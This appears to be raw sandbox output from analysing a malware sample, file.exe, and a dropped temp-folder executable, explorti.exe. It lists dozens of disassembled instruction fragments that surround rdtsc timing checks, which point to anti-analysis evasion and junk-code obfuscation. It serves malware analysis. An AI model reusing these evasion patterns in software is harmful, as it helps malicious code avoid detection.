Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: B5E8F1 second address: B5E8F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: B5E8F5 second address: B5E900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDECEE second address: CDECF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDECF3 second address: CDECFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF0BC8515D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDECFD second address: CDED07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BCB462B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CC9D6A second address: CC9D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515DDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CC9D7B second address: CC9D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CC9D85 second address: CC9D8F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD54 second address: CDDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FF0BCB462B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD63 second address: CDDD7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD7D second address: CDDD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD8A second address: CDDD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD8E second address: CDDD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF0BCB462B6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD9E second address: CDDDA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDDA4 second address: CDDDAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDE095 second address: CDE099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDFEF8 second address: CDFEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDFEFC second address: CDFF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0121 second address: CE016B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 68DD7A9Bh 0x00000011 js 00007FF0BCB462B6h 0x00000017 lea ebx, dword ptr [ebp+12454E62h] 0x0000001d mov dword ptr [ebp+122D2B95h], eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FF0BCB462C8h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE01D7 second address: CE0223 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FF0BC8515DAh 0x00000012 add dword ptr [ebp+122D1C9Eh], esi 0x00000018 pop ecx 0x00000019 push 00000000h 0x0000001b jmp 00007FF0BC8515E9h 0x00000020 mov dx, 4091h 0x00000024 call 00007FF0BC8515D9h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0223 second address: CE022D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE022D second address: CE0232 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0232 second address: CE0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FF0BCB462BDh 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FF0BCB462C4h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 pop eax 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jmp 00007FF0BCB462BBh 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jns 00007FF0BCB462B8h 0x00000035 push edx 0x00000036 pop edx 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0286 second address: CE028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE028C second address: CE0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549035B second address: 5490378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490378 second address: 54903D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BCB462C7h 0x00000009 xor ecx, 0193E86Eh 0x0000000f jmp 00007FF0BCB462C9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FF0BCB462BCh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF0BCB462BEh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54903D6 second address: 5490493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BC8515DCh 0x00000009 jmp 00007FF0BC8515E5h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF0BC8515DCh 0x0000001a adc esi, 570448A8h 0x00000020 jmp 00007FF0BC8515DBh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FF0BC8515E8h 0x0000002c xor ax, 3B08h 0x00000031 jmp 00007FF0BC8515DBh 0x00000036 popfd 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FF0BC8515E0h 0x00000041 sub ch, 00000068h 0x00000044 jmp 00007FF0BC8515DBh 0x00000049 popfd 0x0000004a popad 0x0000004b push FFFFFFFEh 0x0000004d jmp 00007FF0BC8515E6h 0x00000052 push 3B19A7ADh 0x00000057 pushad 0x00000058 mov bl, 8Eh 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d pop edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490493 second address: 5490526 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 3BE0186Bh 0x0000000e pushad 0x0000000f call 00007FF0BCB462BAh 0x00000014 mov dx, si 0x00000017 pop esi 0x00000018 call 00007FF0BCB462C7h 0x0000001d pop ebx 0x0000001e popad 0x0000001f push 16FA815Bh 0x00000024 jmp 00007FF0BCB462BBh 0x00000029 add dword ptr [esp], 5FF62CA5h 0x00000030 pushad 0x00000031 movzx esi, di 0x00000034 mov edi, 768EDF64h 0x00000039 popad 0x0000003a mov eax, dword ptr fs:[00000000h] 0x00000040 pushad 0x00000041 push edx 0x00000042 mov edi, esi 0x00000044 pop eax 0x00000045 pushfd 0x00000046 jmp 00007FF0BCB462C1h 0x0000004b or ax, 5A56h 0x00000050 jmp 00007FF0BCB462C1h 0x00000055 popfd 0x00000056 popad 0x00000057 nop 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490526 second address: 5490539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490539 second address: 5490597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BCB462BFh 0x00000009 add eax, 1C07F43Eh 0x0000000f jmp 00007FF0BCB462C9h 0x00000014 popfd 0x00000015 jmp 00007FF0BCB462C0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007FF0BCB462BBh 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov di, 0126h 0x0000002b mov cx, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490597 second address: 54905E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c jmp 00007FF0BC8515E0h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF0BC8515E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54905E0 second address: 549061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0BCB462BFh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FF0BCB462BFh 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF0BCB462C5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549061F second address: 5490652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FF0BC8515E3h 0x00000012 pop ecx 0x00000013 mov edi, 0B913E8Ch 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490652 second address: 549066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549066F second address: 549068B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549068B second address: 54906B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0BCB462C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54906B2 second address: 54906CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov si, 9BF3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54906CF second address: 54907A0 instructions: 0x00000000 rdtsc 0x00000002 mov di, D5C8h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FF0BCB462BEh 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov edi, ecx 0x00000013 pushfd 0x00000014 jmp 00007FF0BCB462BAh 0x00000019 jmp 00007FF0BCB462C5h 0x0000001e popfd 0x0000001f popad 0x00000020 mov eax, dword ptr [76FBB370h] 0x00000025 jmp 00007FF0BCB462BEh 0x0000002a xor dword ptr [ebp-08h], eax 0x0000002d jmp 00007FF0BCB462C0h 0x00000032 xor eax, ebp 0x00000034 jmp 00007FF0BCB462C1h 0x00000039 nop 0x0000003a jmp 00007FF0BCB462BEh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FF0BCB462BCh 0x00000049 and si, FF48h 0x0000004e jmp 00007FF0BCB462BBh 0x00000053 popfd 0x00000054 pushfd 0x00000055 jmp 00007FF0BCB462C8h 0x0000005a sbb al, FFFFFFA8h 0x0000005d jmp 00007FF0BCB462BBh 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54907A0 second address: 54907B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BC8515E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54907B8 second address: 54907CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF0BCB462BAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54907CD second address: 5490873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c jmp 00007FF0BC8515E6h 0x00000011 mov dword ptr fs:[00000000h], eax 0x00000017 pushad 0x00000018 push esi 0x00000019 pushfd 0x0000001a jmp 00007FF0BC8515DDh 0x0000001f add ecx, 73802086h 0x00000025 jmp 00007FF0BC8515E1h 0x0000002a popfd 0x0000002b pop eax 0x0000002c mov dh, B7h 0x0000002e popad 0x0000002f mov esi, dword ptr [ebp+08h] 0x00000032 jmp 00007FF0BC8515E8h 0x00000037 mov eax, dword ptr [esi+10h] 0x0000003a jmp 00007FF0BC8515E0h 0x0000003f test eax, eax 0x00000041 jmp 00007FF0BC8515E0h 0x00000046 jne 00007FF12E280A93h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490873 second address: 5490890 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490890 second address: 54908FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b jmp 00007FF0BC8515E7h 0x00000010 mov dword ptr [ebp-20h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov si, bx 0x00000019 pushfd 0x0000001a jmp 00007FF0BC8515E7h 0x0000001f and ax, E9EEh 0x00000024 jmp 00007FF0BC8515E9h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54908FF second address: 549092B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [esi] 0x0000000b jmp 00007FF0BCB462BEh 0x00000010 mov dword ptr [ebp-24h], ebx 0x00000013 pushad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480F6B second address: 5480F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480F71 second address: 5480FA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0BCB462C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480FA1 second address: 5480FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480FA5 second address: 5480FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDECF3 second address: CDECFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF0BCB462B6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDECFD second address: CDED07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BC8515D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CC9D6A second address: CC9D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462BDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CC9D85 second address: CC9D8F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD54 second address: CDDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FF0BC8515D6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD63 second address: CDDD7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CDDD8E second address: CDDD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF0BC8515D6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0121 second address: CE016B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 68DD7A9Bh 0x00000011 js 00007FF0BC8515D6h 0x00000017 lea ebx, dword ptr [ebp+12454E62h] 0x0000001d mov dword ptr [ebp+122D2B95h], eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FF0BC8515E8h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE01D7 second address: CE0223 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FF0BCB462BAh 0x00000012 add dword ptr [ebp+122D1C9Eh], esi 0x00000018 pop ecx 0x00000019 push 00000000h 0x0000001b jmp 00007FF0BCB462C9h 0x00000020 mov dx, 4091h 0x00000024 call 00007FF0BCB462B9h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0223 second address: CE022D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CE0232 second address: CE0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FF0BC8515DDh 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FF0BC8515E4h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 pop eax 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jmp 00007FF0BC8515DBh 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jns 00007FF0BC8515D8h 0x00000035 push edx 0x00000036 pop edx 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CF2C37 second address: CF2C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CFF8EA second address: CFF912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF0BCB462C3h 0x0000000f jmp 00007FF0BCB462BBh 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CFF912 second address: CFF925 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF0BC8515DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CFFA4D second address: CFFA72 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0BCB462C7h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CFFBAD second address: CFFBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D00162 second address: D0016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0016A second address: D001AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 jmp 00007FF0BC8515E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0BC8515DFh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D001AE second address: D001B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D009F4 second address: D00A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF0BC8515D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jl 00007FF0BC8515D8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D00A0B second address: D00A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF0BCB462BEh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
